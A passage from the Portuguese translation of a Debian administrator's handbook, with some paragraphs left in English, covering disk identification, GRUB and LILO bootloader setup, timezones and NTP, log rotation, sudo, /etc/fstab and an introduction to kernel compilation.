Isso provavelmente já é funcional, mas é sempre bom saber configurar e instalar o carregador de inicialização em caso dele desaparecer da MBR (Master Boot Record). Isso pode ocorrer depois da instalação de outro sistema operacional, como o Windows. A seguinte informação pode também ajudar você a modificar a configuração do carregador de inicialização caso necessário.

DE VOLTA AO BÁSICO Registro mestre de inicialização

A MBR (Master Boot Record) ocupa os primeiros 512 bytes do primeiro disco rígido, e é a primeira coisa carregada pela BIOS para entregar o controle a um programa capaz de inicializar o sistema operacional desejado. Em geral, um carregador de inicialização fica instalado dentro da MBR, removendo seu conteúdo prévio.

8.8.1. Identificando os Discos

CULTURA udev e /dev/

O diretório /dev/ tradicionalmente hospeda os chamados arquivos “especiais”, destinados a representar os periféricos do sistema (veja barra lateral DE VOLTA AO BÁSICO Permissão de acesso a dispositivos). Tempos atrás, era usado para armazenar todos os arquivos especiais que potencialmente poderiam ser usados. Essa abordagem tinha uma série de inconvenientes entre os quais o fato de restringir o número de dispositivos que alguém poderia usar (devido a lista de nomes codificados), e que era impossível saber quais arquivos especiais eram realmente úteis.

Atualmente, o gerenciamento de arquivos especiais é completamente dinâmico e combina mais com a natureza de encaixe a quente dos dispositivos. O núcleo coopera com o udev (Seção 9.11.3, “Como o udev Funciona”) para criar e apagar os dispositivos quando necessário a medida em que tais dispositivos aparecem ou desaparecem. Por esta razão, /dev/ não precisa ser persistente e é portanto um sistema de arquivos em RAM que inicia vazio e contém apenas entradas relevantes.

The kernel communicates lots of information about any newly added device and hands out a pair of major/minor numbers to identify it. With this udevd can create the special file under the name and with the permissions that it wants. It can also create aliases and perform additional actions (such as initialization or registration tasks). udevd's behavior is driven by a large set of (customizable) rules usually found in /lib/udev/rules.d/ and /etc/udev/rules.d/.

Com nomes atribuídos dinamicamente, você pode assim manter um mesmo nome para um determinado dispositivo, independentemente do conector utilizado ou a ordem da conexão, o que é especialmente útil quando você usa vários periféricos USB. A primeira partição no primeiro disco rígido pode então ser chamada de /dev/sda1 por questões de compatibilidade, ou /dev/root-partition se você preferir, ou ainda as duas opções ao mesmo tempo já que o udevd pode ser configurado para automaticamente criar uma ligação simbólica.

In ancient times, some kernel modules did automatically load when you tried to access the corresponding device file. This is no longer the case, and the peripheral's special file no longer exists prior to loading the module; this is no big deal, since most modules are loaded on boot thanks to automatic hardware detection. But for undetectable peripherals (such as very old disk drives or PS/2 mice), this doesn't work. Consider adding the modules, floppy, psmouse and mousedev to /etc/modules or /etc/modules-load.d/ in order to force loading them on boot.

A configuração do carregador de inicialização tem que identificar os diferentes discos rígidos e suas partições. O Linux usa arquivos especiais “block” armazenados no diretório /dev/, para esse propósito. Desde o Debian Squeeze, o esquema de nomeação para discos rígidos foi unificado pelo kernel Linux, e todos os discos rígidos (IDE/PATA, SATA, SCSI, USB, IEEE 1394) são agora representados por /dev/sd*.

Cada partição é representada por seu número no disco no qual reside: por exemplo, /dev/sda1 é a primeira partição do primeiro disco, e /dev/sdb3 é a terceira partição do segundo disco.

A arquitetura PC (ou “i386”, incluindo seu primo mais moço "amd64") a muito tem sido limitada a usar o formato de tabela de partição "MS-DOS", que apenas permite quatro partições “primarias” por disco. Para ir além desta limitação, sob esse esquema, uma delas tem que ser criada como uma partição “estendida”, e assim conter partições “secundárias” adicionais. Essas partições secundárias são numeradas a partir de 5. Assim a primeira partição secundária poderia ser /dev/sda5, seguida por /dev/sda6, etc.

Outra restrição de um formato de tabela de partição MS-DOS é que ela apenas permite discos de até 2 TiB de tamanho, o que está se tornando um problema real com os discos recentes.

A new partition table format called GPT (GUID Partition Table) loosens these constraints on the number of partitions (it allows up to 128 partitions when using standard settings) and on the size of the disks (up to 8 ZiB, which is more than 8 billion terabytes). If you intend to create many physical partitions on the same disk, you should therefore ensure that you are creating the partition table in the GPT format when partitioning your disk.

VISTA RÁPIDA O Identificador Único Global (GUID)

Using GPT the partition type is represented as a 16 bytes long universally unique identifier, also known as Globally Unique Identifier (GUID), which is part of the UEFI standard (see NOTA UEFI, um moderno substituto para a BIOS). Compared to the hex code used to determine the partition type in the MS-DOS table format, you will have a hard time trying to remember these identifiers. Fortunately there are lists with all the IDs which you can use to create partition recipes to use with sfdisk or for preseeding the Debian installer.

→ https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs

Nem sempre é fácil lembrar qual disco está conectado a qual controladora SATA, ou na terceira posição da cadeia SCSI, especialmente a partir da nomeação de discos rígidos "hotplugged" (que inclui, entre outros, a maioria dos discos SATA e discos externos) que podem mudar de uma inicialização para outra. Felizmente, o udev cria, em adição ao /dev/sd*, ligações simbólicas com um nome fixo, o qual você poderia, então, usar se você deseja identificar um disco rígido de maneira não ambígua. Essas ligações simbólicas são armazenadas em /dev/disk/by-id. Em uma máquina com dois discos físicos, por exemplo, pode-se encontrar o seguinte:

mirexpress:/dev/disk/by-id# ls -l total 0 lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1 lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1 [...] mirexpress:/dev/disk/by-id#

Perceba que alguns discos se listam várias vezes (porque se comportam tanto como discos ATA ou SCSI simultaneamente), mas a informação relevante se encontra principalmente no modelo e os números de série dos discos, desde onde se pode encontrar o arquivo periférico. Enquanto as ligações em /dev/disk/by-id/ são criadas utilizando o número de série do dispositivo e o caminho físico, há mais ligações de conveniência em, por exemplo /dev/disk/by-label/ (baseado em etiquetas dadas), /dev/disk/by-uuid/ (baseado em identificadores únicos, que podem mudar ao reformatar um dispositivo usando mkfs.* ou mkswap), /dev/disk/by-path/ (baseado na caminho físico mais curto), e /dev/disk/by-partlabel/ e /dev/disk/by-partuuid/ (só partições com etiquetas GPT e seus identificadores únicos). Se usa estas ligações, por exemplo, em /etc/fstab, sempre prefere identificadores únicos sobre etiquetas. Também pode obter e mudar esta informação para a cada partição ou dispositivo utilizando os comandos lsblk e blkid.

Os arquivos de configuração de exemplo dados nas seções seguintes são baseados na mesma configuração: um único disco SATA, onde a primeira partição é uma antiga instalação Windows e a segunda contém o Debian GNU/Linux.

ALTERNATIVE The LILO bootloader

O LILO (LInux LOader) é o carregador de inicialização mais antigo — sólido, porém rústico. Ele escreve o endereço físico do kernel a ser carregado na MBR, o que faz com que a cada atualização do LILO (ou de seu arquivo de configuração) deva ser seguida pelo comando lilo. Esquecendo de fazer, isso fará com que o sistema seja incapaz de inicializar, se o antigo kernel foi removido ou substituído, já que o novo não estará no mesmo local no disco.

O arquivo de configuração do LILO é o /etc/lilo.conf; um arquivo simples para configurações padrão é ilustrado no exemplo abaixo.

Exemplo 8.4. LILO arquivo de configuração

# The disk on which LILO should be installed. # By indicating the disk and not a partition. # you order LILO to be installed on the MBR. boot=/dev/sda # the partition that contains Debian root=/dev/sda2 # the item to be loaded by default default=Linux # the most recent kernel image image=/vmlinuz label=Linux initrd=/initrd.img read-only # Old kernel (if the newly installed kernel doesn't boot) image=/vmlinuz.old label=LinuxOLD initrd=/initrd.img.old read-only optional # only for Linux/Windows dual boot other=/dev/sda1 label=Windows

Em conformidade com a solicitação do mantedor e autor dO lilo, eliminou-se o carregador de arranque do Debian 11 Bullseye e é pouco provável que ele volte.

8.8.2. Configuração do GRUB 2

GRUB (GRand Unified Bootloader) é mais recente. Não é necessário invocá-lo após cada atualização do núcleo; o GRUB sabe como ler o sistema de arquivos e achar a posição do núcleo no disco por conta própria. Para instalá-lo na MBR do primeiro disco, simplesmente digite grub-install /dev/sda. Isto vai sobreescrever o MBR, portanto seja cuidadoso para não sobrescrever na localização errada. Embora seja também possível instalar o GRUB em um registro de boot de partição, fique atento que isto normalmente é um erro e fazer grub-install /dev/sda1 não faz a mesma coisa que grub-install /dev/sda.

NOTA Nomes dos discos para o GRUB

GRUB can only identify hard drives based on information provided by the BIOS. (hd0) corresponds to the first disk thus detected, (hd1) the second, etc. In most cases, this order corresponds exactly to the usual order of disks under Linux, but problems can occur when you associate SCSI and IDE disks. GRUB used to store the correspondences that it detected in the file /boot/grub/device.map. Nowadays it avoids this problem using universally unique identifier (UUIDs) or file system labels when generating grub.cfg. However, the device map file is not obsolete yet, since it can be used to override when the current environment is different from the one on boot. If you find errors there (because you know that your BIOS detects drives in a different order), correct them manually and run grub-install again. grub-mkdevicemap can help creating a device.map file from which to start.

As partições também tem um nome específico para o GRUB. Quando você usa partições “classical” no formato MS-DOS, a primeira partição no disco é rotulada como, (hd0,msdos1), a segunda (hd0,msdos2), etc.

GRUB 2 configuration is stored in /boot/grub/grub.cfg, but this file (in Debian) is generated from others. Be careful not to modify it by hand, since such local modifications will be lost the next time update-grub is run (which may occur upon update of various packages). The most common modifications of the /boot/grub/grub.cfg file (to add command line parameters to the kernel or change the duration that the menu is displayed, for example) are made through the variables in /etc/default/grub. To add entries to the menu, you can either create a /boot/grub/custom.cfg file or modify the /etc/grub.d/40_custom file. For more complex configurations, you can modify other files in /etc/grub.d, or add to them; these scripts should return configuration snippets, possibly by making use of external programs. These scripts are the ones that will update the list of kernels to boot: 10_linux takes into consideration the installed Linux kernels; 20_linux_xen takes into account Xen virtual systems, and 30_os-prober adds other existing operating systems (Windows, OS X, Hurd), kernel images, and BIOS/EFI access options to the menu.

CAUTION error: symbol `grub_*' not found

Um dos problemas mais frequentes ao utilizar GRUB é que os usuários recebem um erro como error symbol `grub_calloc' not found e já não podem arrancar o sistema. Na maioria das vezes a causa deste erro é pela instalação de uma versão atualizada de GRUB que faz que os novos módulos em /boot/grub sejam incompatíveis com as velhas imagens de núcleo no setor de arranque para onde o firmware salta ao arrancar sua máquina. Isto sucede em sistemas que estão configurados para executar grub-install a um dispositivo alvo que não é em realidade o que o firmware utiliza para arrancar seu sistema (por exemplo, após substituir ou mover os discos - se pode ver o problema ao executar dpkg-reconfigure grub-pc mostrando o dispositivo alvo equivocado). Com o lançamento do Debian 11 Bullseye (a mudança também está presente no Buster) o processo de atualização agora verifica este problema e sai com um erro caso encontre tal situação.

→ https://bugs.debian.org/bug=966575#95

Setting up grub-pc (2.02+dfsg1-20+deb10u4) ... /dev/disk/by-id/[..] does not exist, so cannot grub-install to it! You must correct your GRUB install devices before proceeding: DEBIAN_FRONTEND=dialog dpkg --configure grub-pc dpkg --configure -a dpkg: error processing package grub-pc (--configure): installed grub-pc package post-installation script subprocess returned error exit status 1

Para solucionar o problema e continuar o procedimento de atualização, simplesmente siga o conselho e execute os comandos dados pela mensagem de erro como root.

8.8.3. Utilizando GRUB com EFI e Secure Boot

É bastante diferente usar GRUB para iniciar um sistema BIOS tradicional (herdado ou UEFI-CSM) ou um sistema UEFI . Felizmente o usuário não precisa conhecer as diferenças porque o Debian proporciona pacotes diferentes para cada propósito e o instalador se preocupa automaticamente com qual(is) eleger. O pacote grub-pc é escolhido para sistemas herdados, onde o GRUB se instala no MBR, enquanto os sistemas UEFI requerem grub-efi-arch, onde o GRUB se instala na partição do sistema EFI (ESP). Este último requer uma tabela de partição GTP bem como uma partição EFI.

→ https://wiki.debian.org/Grub2#UEFI_vs_BIOS_boot

Para mudar um sistema existente (que admite UEFI) do modo de início herdado ao modo UEFI não só é necessário mudar os pacotes GRUB do sistema, mas também ajustar a tabela de partições e criar uma partição EFI (provavelmente incluindo a mudança de tamanho das partições existentes para criar o espaço livre necessário). Portanto, é um processo bastante elaborado e não podemos o incluir aqui. Felizmente, existem alguns manuais de blogueiros que descrevem os procedimentos necessários.

Se você está usando um sistema com "Secure Boot" habilitado e tem instalado shim-signed (ver a barra lateral CULTURA Secure Boot e o carregador de boot shim), instale também o grub-efi-arquitetura-signed. Este pacote não vem automaticamente, só se você ativar a instalação do pacote recomendado.

8.9. Outras Configurações: Sincronização de tempo, Logs, Compartilhando acesso…

Os muitos elementos listados nesta seção são importantes para quem quer dominar todos os aspectos de configuração de um sistema GNU/Linux. Eles são, contudo, tratados superficialmente e frequentemente vão te remeter à documentação.

8.9.1. Região

DE VOLTA AO BÁSICO Links simbólicos

Uma ligação simbólica é um ponteiro para outro arquivo. Quando você a acessa, o arquivo para o qual ela aponta é aberto. A remoção da ligação não irá causar o apagar do arquivo para o qual ela aponta. Da mesma forma, ela não tem sua própria configuração de permissões, mas mantém as permissões de seu alvo. Finalmente, ela pode apontar para qualquer tipo de arquivo: diretórios, arquivos especiais (sockets, named pipes, device files, etc.), e até mesmo outras ligações simbólicas.

O comando ln -s alvo nome-da-ligação cria uma ligação simbólica, chamada nome-da-ligação, apontando para alvo.

Se o alvo não existir, então a ligação estará “quebrada” e acessá-la irá resultar em um erro, indicando que o arquivo alvo não existe. Se a ligação aponta para outra ligação, você terá uma “corrente” de ligações que se tornará em um “ciclo” se um dos alvos apontar para um de seus antecessores. Neste caso, ao acessar uma das ligações do ciclo irá resultar em um erro específico (“muitos níveis de ligações simbólicas”); isso significa que o kernel desistiu após várias voltas pelo ciclo.

The timezone, configured during initial installation, is a configuration item for the tzdata package. To modify it, use the dpkg-reconfigure tzdata command, which allows you to choose the timezone to be used in an interactive manner. Its configuration is stored in the /etc/timezone file. Additionally, /etc/localtime becomes a symbolic link to the corresponding file in the /usr/share/zoneinfo; the file that contains the rules governing the dates where daylight saving time (DST) is active, for countries that use it.

Quando você precisar alterar temporariamente o fuso-horário (timezone), use a variável de ambiente TZ, a qual tem prioridade sobre a configuração padrão do sistema:

$ date Thu Sep 2 22:29:48 CEST 2021 $ TZ="Pacific/Honolulu" date Thu 02 Sep 2021 10:31:01 AM HST

NOTA Relógio do sistema, relógio de hardware

Existem duas fontes de horário em um computador. A placa mãe do computador tem um relógio de "hardware", chamado “CMOS clock”. Esse relógio não é muito preciso, e provê tempos de acesso muito lento. O kernel do sistema operacional tem o seu próprio, o relógio de software, o qual mantém atualizado através de seus próprios meios (possivelmente com a ajuda de servidores de horário, veja Seção 8.9.2, “Sincronização de Tempo”). Esse relógio do sistema é geralmente mais acurado, especialmente porque ele não precisa acessar variáveis de hardware. Contudo, como ele apenas existe na memória viva, ele é zerado toda vez que a máquina é inicializada, ao contrário do "CMOS clock", o qual tem uma bateria e, sendo assim, "sobrevive" a reinicialização ou desligamento da máquina. O relógio do sistema é, assim, configurado a partir do "CMOS clock" durante a inicialização, e o "CMOS clock" é atualizado no desligamento (para ser informado de possíveis alterações ou correções se ele foi ajustado inapropriadamente).

Na prática, existe um problema, já que o relógio CMOS nada mais é do que um contador e não contém informação referente a fuso horário. Existe uma escolha a fazer levando em consideração essa interpretação: ou o sistema considera que ele roda no horário universal (UTC, antigamente GMT), ou em horário local. Essa escolha poderia ser uma simples opção, mas as coisas são realmente mais complicadas: como resultado de um horário de verão, essa variação não é constante. O resultado é que o sistema não tem como determinar quando a variação é correta, especialmente perto dos períodos de mudança de horário. Como é sempre possível reconstruir o horário local a partir do horário universal e da informação de fuso horário, nós recomendamos fortemente o uso do relógio CMOS no horário universal.

Unfortunately, some Windows systems in their default configuration ignore this recommendation; they keep the CMOS clock on local time, applying time changes when booting the computer by trying to guess during time changes if the change has already been applied or not. This works relatively well, as long as the system has only Windows running on it. But when a computer has several systems (whether it be a “dual-boot” configuration or running other systems via virtual machine), chaos ensues, with no means to determine if the time is correct. If you absolutely must retain Windows on a computer, you should either configure it to keep the CMOS clock as UTC (setting the registry key HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal to “1” as a DWORD), or use hwclock --localtime --set on the Debian system to set the hardware clock and mark it as tracking the local time (and make sure to manually check your clock in spring and autumn).

8.9.2. Sincronização de Tempo

A sincronização de horário, o que pode parecer supérfluo em um computador, é muito importante em uma rede. Como os usuários não tem permissão de modificar a data e horário, é importante que essa informação seja precisa para prevenir confusão. Além do mais, ter todos os computadores em uma rede sincronizados permite melhor cruzamento de referencias de informação a partir dos logs de diferentes máquinas. Assim, em um eventual ataque, é mais fácil reconstruir a sequência cronológica das ações nas várias máquinas envolvidas no compromisso. Os dados coletados nas várias máquinas, para propósitos de estatística, não farão muito sentido se eles não estiverem sincronizados.

DE VOLTA AO BÁSICO NTP

O NTP (Network Time Protocol) permite que uma máquina sincronize com outras com razoável precisão, levando em consideração os atrasos induzidos pela transferência de informação pela rede e outros possíveis desvios.

Apesar de existirem vários servidores NTP na internet, os mais populares provavelmente estão sobrecarregados. Por isso que nós recomendamos o uso do servidor NTP pool.ntp.org, o qual é, na realidade, um grupo de máquinas que concordaram em servir como servidores NTP públicos. Você poderia até limitar o uso para um país específico, como um sub-grupo , como, por exemplo, us.pool.ntp.org para os Estados Unidos, ou ca.pool.ntp.org para o Canadá, etc.

Contudo, se você gerencia uma grande rede, é recomendável que você instale seu próprio servidor NTP, o qual irá sincronizar com os servidores públicos. Neste caso, todas as outras máquinas de sua rede podem usar seu servidor NTP interno ao invés de aumentar a carga em servidores públicos. Você irá também aumentar a homogeneidade com seus relógios, já que todas as máquina serão sincronizadas pela mesma fonte, e essa fonte está bem próxima em termos de tempo de transferência de rede.

8.9.2.1. Para Estações de Trabalho

Como as estações de trabalho são reinicializadas regularmente (ainda que apenas para economizar energia), sincronizá-las pelo NTP na inicialização é o suficiente. Para fazer isso, simplesmente instale o pacote ntpdate. Você pode alterar o servidor NTP usado, se necessário, modificando o arquivo /etc/default/ntpdate.

8.9.2.2. Para Servidores

Servidores são apenas raramente reinicializados, e é muito importante que o horário do sistema deles esteja correto. Para manter permanentemente o horário correto, você deveria instalar um servidor NTP local, um serviço oferecido pelo pacote ntp. Na sua configuração padrão, o servidor irá sincronizar com pool.ntp.org e prover o horário em resposta as requisições vindas da rede local. Você pode configurá-lo editando o arquivo /etc/ntp.conf, sendo a mais significante alteração o servidor NTP ao qual ele se refere. Se a rede tem vários servidores, pode ser interessante ter um servidor local de horário o qual faz a sincronização com servidores públicos e é usado como fonte de horário para outros servidores na rede.

APROFUNDANDO Módulos GPS e outros recursos de tempo

Se a sincronização do horário for particularmente crucial para sua rede, é possível equipar um servidor com o módulo GPS (o qual irá usar o horário a partir de satélites GPS) ou o módulo DCF-77 (o qual irá sincronizar o horário com um relógio atômico perto de Frankfurt, Alemanha). Neste caso, a configuração do servidor NTP é um pouco mais complicada e uma consulta prévia à documentação é absolutamente necessária.

8.9.3. Rotação de Arquivos de Log

Arquivos de log podem crescer rapidamente e é necessário arquivá-los. O esquema mais comum é a rotação dos arquivos: o arquivo de log é arquivado regularmente, e apenas os últimos X arquivos são mantidos. logrotate, o programa responsável por estas rotações, segue as diretivas especificadas no arquivo /etc/logrotate.conf e em todos os arquivos dentro do diretório /etc/logrotate.d/. O administrador pode modificar esses arquivos, se ele quiser adaptar a política de rotação dos logs definidas pelo Debian. A página de manual do logrotate(1) descreve todas as opções disponíveis nesses arquivos de configuração. Você pode querer aumentar o número de arquivos retidos na rotação dos arquivos de log, ou mover os arquivos de log para um diretório específico, dedicado a arquivá-los ao invés de apagá-los. Você pode também enviá-los, por email, para arquivá-los em outro lugar qualquer.

O programa logrotate é executado diariamente pelo agendador de comandos cron (descrito em Seção 9.7, “Agendando Tarefas com cron e atd”).

8.9.4. Compartilhando Direitos Administrativos

Frequentemente, vários administradores trabalham na mesma rede. O compartilhamento da senha do root não é muito elegante, e abre brecha para abusos devido ao anonimato que tal prática cria. A solução para esse problema é o programa sudo, o qual permite que certos usuários executem certos comandos com direitos especiais. Em seu caso mais comum de uso, o sudo permite que um usuário confiável execute qualquer comando como se fosse o root. Para fazer isso, o usuário simplesmente executa sudo command e se autentica usando sua senha pessoal.

When installed, the sudo package gives full root rights to members of the sudo Unix group. To delegate other rights, the administrator can use the visudo command, which allows them to modify the /etc/sudoers configuration file (here again, this will invoke the vi editor, or any other editor indicated in the EDITOR environment variable). Alternatively they might put rules in small files in /etc/sudoers.d/ as long as this directory is included by /etc/sudoers via @includedir /etc/sudoers.d, which is the default for Debian. Adding a line with username ALL=(ALL) ALL allows the user in question to execute any command as root.

More sophisticated configurations allow authorization of only specific commands to specific users. All the details of the various possibilities are given in the sudoers(5) manual page.

8.9.5. Lista de Pontos de Montagem

DE VOLTA AO BÁSICO Montando e desmontando

In a Unix-like system such as Debian, files are organized in a single tree-like hierarchy of directories. The / directory is called the “root directory”; all additional directories are sub-directories within this root. “Mounting” is the action of including the content of a peripheral device (often a hard drive) into the system's general file tree. As a consequence, if you use a separate hard drive to store users' personal data, this disk will have to be “mounted” in the /home/ directory (during installation you already made relevant choices, see Seção 4.2.13.1, “Particionamento assistido”) The root filesystem is always mounted at boot by the kernel; other devices are often mounted later during the startup sequence or manually with the mount command.

Alguns dispositivos removíveis são montados automaticamente quando conectados, especialmente quando se está usando GNOME, KDE ou outro ambiente gráfico de trabalho. Outros tem que ser montados manualmente pelo usuário. Sendo assim, eles tem que ser desmontados (removidos da árvore de arquivos). Usuários comuns geralmente não tem permissões para executar os comandos mount e umount. O administrador pode, entretanto, autorizar essas operações (de maneira independente para cada ponto de montagem) incluindo a opção user no arquivo /etc/fstab.

The mount command can be used without arguments to list all mounted filesystems (as found in /proc/mounts as well); you can execute findmnt --fstab to show only the filesystems from /etc/fstab. The following parameters are required to mount or unmount a device - for the complete list, please refer to the corresponding man pages, mount(8) and umount(8). For simple cases, the syntax is simple too: for example, to mount the /dev/sdc1 partition, which has an ext3 filesystem, into the /mnt/tmp/ directory, you would simply run mount -t ext3 /dev/sdc1 /mnt/tmp/.

O arquivo /etc/fstab dá uma lista de todas as possíveis montagens que acontecem tanto automaticamente na inicialização quanto manualmente para dispositivos de armazenamento removíveis. Cada ponto de montagem é descrito em uma linha com vários campos separados por espaço:

file system: this indicates where the filesystem to be mounted can be found, it can be a local device (hard drive partition, CD-ROM) or a remote filesystem (such as NFS or even SSHFS).

This field is frequently replaced with the unique ID of the filesystem (which you can determine with blkid device) prefixed with UUID=. This guards against a change in the name of the device in the event of addition or removal of disks, or if disks are detected in a different order. Seção 8.8.1, “Identificando os Discos” covers this topic in more detail.

ponto de montagem: esse é a localização no sistema de arquivos local aonde o dispositivo, sistema remoto, ou partição será montada.

tipo: esse campo define o sistema de arquivos usado no dispositivo montado. ext4, ext3, vfat, ntfs, btrfs, xfs são alguns exemplos.

DE VOLTA AO BÁSICO NFS, um sistema de arquivos de rede

NFS é um sistema de arquivos de rede; no Linux, ele permite acesso transparente a arquivos remotos os incluindo no sistema de arquivo local.

A complete list of known filesystems is available in the mount(8) manual page. The swap special value is for swap partitions; the auto special value tells the mount program to automatically detect the filesystem (which is especially useful for disk readers and USB keys, since each one might have a different filesystem);

opções: existem muitas delas, dependendo do sistema de arquivos, e elas estão documentadas na página de manual do mount. As mais comuns são

rw ou ro, significam, respectivamente, que o dispositivo será montado com permissão de leitura/escrita ou apenas leitura.

noauto desativa a montagem automática na inicialização.

nofail permite que a inicialização prossiga mesmo quando o dispositivo não esteja presente. Tenha a certeza de colocar essa opção para drives externos que podem estar desconectados quando você inicializar, porquê o systemd realmente garante que todos os pontos de montagem que tem que ser montados automaticamente estejam realmente montados antes de deixar o processo de inicialização continuar até o seu final. Note que você pode combinar isso com x-systemd.device-timeout=5s para informar o systemd para não esperar mais do que 5 segundos para o dispositivo aparecer (veja systemd.mount(5)).

user autoriza todos os usuários a montar esse sistema de arquivo (uma operação que, de outra forma, seria restrita ao usuário root).

defaults significa o grupo de opções padrão: rw, suid, dev, exec, auto, nouser e async, sendo que cada uma pode ser individualmente desabilitada após defaults bastando adicionar nosuid, nodev e assim por diante, para bloquear suid, dev e assim por diante. Adicionando a opção user reativa-a, já que defaults inclue nouser.

dump: este campo quase sempre tem o valor 0 e é uma espécie de relíquia. Quando é maior que zero, diz à ferramenta dump que a que a partição contém dados que devem ser copiados com frequência. A ferramenta só admite sistemas de arquivos Ext2/3/4 e utilizará o valor aqui indicado quando se execute mediante dump -W ou dump -w para determinar quais partições é necessário fazer uma cópia de segurança. Considere os exemplos em /usr/share/doc/dump/examples/ se deseja utilizar esta função. Mas há melhores alternativas para fazer cópias de segurança de um sistema de arquivos, como fsarchiver.

pass: esse último campo indica quando a integridade do sistema de arquivos deve ser verificada na inicialização, e em que ordem essa checagem deveria ser executada. Se ele é 0, nenhuma checagem é conduzida. O sistema de arquivos raiz deve ter valor 1, enquanto outros sistemas de arquivos permanentes recebem valor 2.

Exemplo 8.5. Exemplo do arquivo /etc/fstab

# /etc/fstab: static file system information. # # Use 'blkid' to print the universally unique identifier for a # device; this may be used with UUID= as a more robust way to name devices # that works even if disks are added and removed. See fstab(5). # # systemd generates mount units based on this file, see systemd.mount(5). # Please run 'systemctl daemon-reload' after making changes here. # # <file system> <mount point> <type> <options> <dump> <pass> # / was on /dev/sda1 during installation UUID=7a250fb8-c16d-4a4e-9808-ec08ae92b6c6 / ext4 errors=remount-ro 0 1 # swap was on /dev/sda5 during installation UUID=13f367ae-dbaf-40ed-85c0-4072a2ebe426 none swap sw 0 0 /dev/sr0 /media/cdrom0 udf,iso9660 user,noauto 0 0 /dev/fd0 /media/floppy auto rw,user,noauto 0 0 arrakis:/shared /shared nfs defaults 0 0

The last entry in the example corresponds to a network filesystem (NFS): the /shared/ directory on the arrakis server is mounted at /shared/ on the local machine.

The format of the /etc/fstab file is documented in the fstab(5) manual page.

APROFUNDANDO Montagem automática

systemd is able to manage automount points: those are filesystems that are mounted on-demand when a user attempts to access their target mount points. It can also unmount these filesystems when no process is accessing them any longer.

Like most concepts in systemd, automount points are managed with dedicated units, using the .automount suffix. See systemd.automount(5) for their precise syntax.

Existem outros utilitários de montagem automática, como automount no pacote autofs ou amd no am-utils.

Note also that GNOME, Plasma, and other graphical desktop environments work together with udisks2, and can automatically mount removable media when they are connected.

8.9.6. locate e updatedb

The locate command can find the location of a file when you only know part of the name. It sends a result almost instantaneously, since it consults a database that stores the location of all the files on the system; this database is updated daily by the updatedb command. There are multiple implementations of the locate command and Debian picked mlocate for its standard system. If you want to consider an alternative, you can try plocate which provides the same command line options and can be considered a drop-in replacement.

locate is smart enough to only return files which are accessible to the user running the command even though it uses a database that knows about all files on the system (since its updatedb implementation runs with root rights). For extra safety, the administrator can use PRUNEDPATHS in /etc/updatedb.conf to exclude some directories from being indexed.

8.10. Compilando o núcleo

Os núcleos fornecidos pelo Debian incluem o maior número de recursos possível, assim como o máximo de drivers, para cobrir o mais amplo espectro de configurações de hardware. É por isso que alguns usuários preferem recompilar o núcleo, e assim, incluir apenas o que eles precisam especificamente. Existem duas razões para essa escolha. Primeiro, talvez seja para otimizar o consumo de memória, já que o código do núcleo, mesmo nunca sendo usado, ocupa memória para nada (e nunca "cai" no espaço swap, já que é a RAM real que ele usa), o que pode comprometer o desempenho de todo o sistema. Um núcleo compilado localmente pode também limitar o risco com problemas de segurança já que apenas uma fração do código do kernel é compilado e rodado.

NOTA Atualizações de segurança

Se você escolher compilar seu próprio kernel, você tem que aceitar as consequências: o Debian não pode garantir atualizações de segurança para seu kernel customizado. Mantendo o kernel fornecido pelo Debian, você se beneficia das atualizações preparadas pelo time de seguração do Projeto Debian.

A recompilação do kernel também é necessária se você quer usar certas características que só estão disponíveis através de patches (e portanto não incluídas na versão padrão do kernel).

APROFUNDANDO Manual do Kernel do Debian

O time do núcleo do Debian mantém o “Debian Kernel Handbook” (também disponível no pacote debian-kernel-handbook) com documentação ampla sobre a maioria das tarefas relacionadas ao núcleo e sobre como os pacotes oficiais do núcleo do Debian são tratados. Esse é o primeiro lugar aonde você deve olhar caso você precise de informações além das que são fornecidas nesta seção.

→ http://kernel-handbook.alioth.debian.org

8.10.1. Introdução e Pré-requisitos

Obviamente o Debian gerencia o núcleo na forma de pacote, que não é como os núcleos tem sido tradicionalmente compilados e instalados. Como o núcleo se mantém no controle do sistema de empacotamento, ele pode ser removido de maneira limpa, ou implantado em várias máquinas. Além do mais, os scripts associados com esses pacotes automatizam a interação com o carregador de inicialização e o gerador de initrd.

